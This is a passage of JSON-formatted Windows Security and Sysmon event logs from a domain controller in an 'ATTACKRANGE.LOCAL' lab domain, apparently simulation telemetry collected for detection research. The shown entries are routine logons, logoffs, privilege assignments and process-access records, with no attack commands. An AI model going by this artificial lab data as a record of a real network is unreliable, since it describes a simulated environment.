generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x9b133","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"10.0.1.14","IpPort":"51521","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6448,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:21.635\r\nProcessGuid: {90617006-424B-5F2D-0000-00100DA90900}\r\nProcessId: 3236\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\ca4-0\\System.Windows.Forms.dll\r\nCreationUtcTime: 2020-08-07 12:00:21.635","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:21.635","ProcessGuid":"{90617006-424B-5F2D-0000-00100DA90900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\ca4-0\\System.Windows.Forms.dll","CreationUtcTime":"2020-08-07 12:00:21.635","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6449,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.666\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31819|C:\\Windows\\system32\\lsasrv.dll+2f177|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.666","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31819|C:\\Windows\\system32\\lsasrv.dll+2f177|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222274,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9B1A1\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x9b1a1","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222275,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x9B1A1\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51522\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x9b1a1","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51522","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222276,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9B133\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x9b133","LogonType":"3","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222277,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9B0E8\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x9b0e8","LogonType":"3","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6450,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.666\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.666","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6451,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.666\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.666","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6452,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.666\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.666","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222278,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9AFDB\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x9afdb","LogonType":"3","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6453,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.885\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4255-5F2D-0000-001073B40900}\r\nTargetProcessId: 2964\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","C